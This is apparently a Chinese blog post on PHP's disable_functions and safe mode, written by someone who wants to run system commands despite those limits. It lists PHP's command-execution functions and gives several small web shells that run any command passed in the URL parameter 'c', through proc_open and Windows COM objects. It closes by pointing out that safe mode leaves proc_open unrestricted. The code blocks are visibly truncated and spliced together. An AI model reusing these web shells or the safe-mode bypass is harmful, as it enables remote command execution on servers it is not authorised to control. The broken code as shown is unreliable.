PHP disable_function与safe mode

我只想执行操作系统命令,可是有disable_functions 和 安全模式的阻碍。

disable_functions

本指令允许你基于安全原因禁止某些函数,从 PHP 4.0.1 起可用。其默认值为空,接受逗号分隔的函数名列表作为参数。 disable_functions 不受安全模式的影响。 本指令只能设置在 php.ini 中。

可以通过以下这行代码获取disable_functions的值。



PHP中可用于执行操作系统命令的函数:

exec
passthru
system
shell_exec
popen
proc_open
反单引号 `

注意:使用反引号运算符“`”的效果与函数 shell_exec() 相同。因此,反引号运算符在关闭了 shell_exec() 时是无效的。

下面是一个简易的cmdshell:

 array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));
	$process = proc_open($cmd, $descriptorspec, $pipes);if (is_resource($process)){ fwrite($pipes[0], '');
	fclose($pipes[0]);$res=stream_get_contents($pipes[1]);
	fclose($pipes[1]);
	proc_close($process);}}
	return $res;
}
	echo "
";
	echo exec_cmd($_GET['c']);
	echo "
"; ?>

如果是Windows的话,还可以使用COM组件来执行命令。

exec("cmd.exe /c ".$cmd);
	$out = $exe->StdOut();
	$output = $out->ReadAll();
	echo '
'.$output.'
'; @$shell->Release(); $shell = NULL; } echo "
".wsc_run($_GET['c'])."
"; ?>

ShellExecute("cmd.exe","/c".$cmd,"c:\windows\system32","",0) == '0') ? '命令执行失败' : '命令执行成功';
	$shell = NULL;
}
shell_run($_GET['c']);
?>

安全模式

PHP 的安全模式是为了试图解决共享服务器(shared-server)安全问题而设立的。在结构上,试图在 PHP 层上解决这个问题是不合理的,但修改 web 服务器层和操作系统层显得非常不现实。因此许多人,特别是 ISP,目前使用安全模式。 

注意:本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。


在安全模式开启的情况下,函数exec、passthru、system、shell_exec、popen 将被限制或屏蔽。

其中shell_exec 将被禁用。而passthru、system、shell_exec和popen只能在 safe_mode_exec_dir 设置的目录下进行执行操作。

是不是发现漏掉了proc_open函数,是的就是这样。

先简单的了解到这里。

你可能感兴趣的:(编程)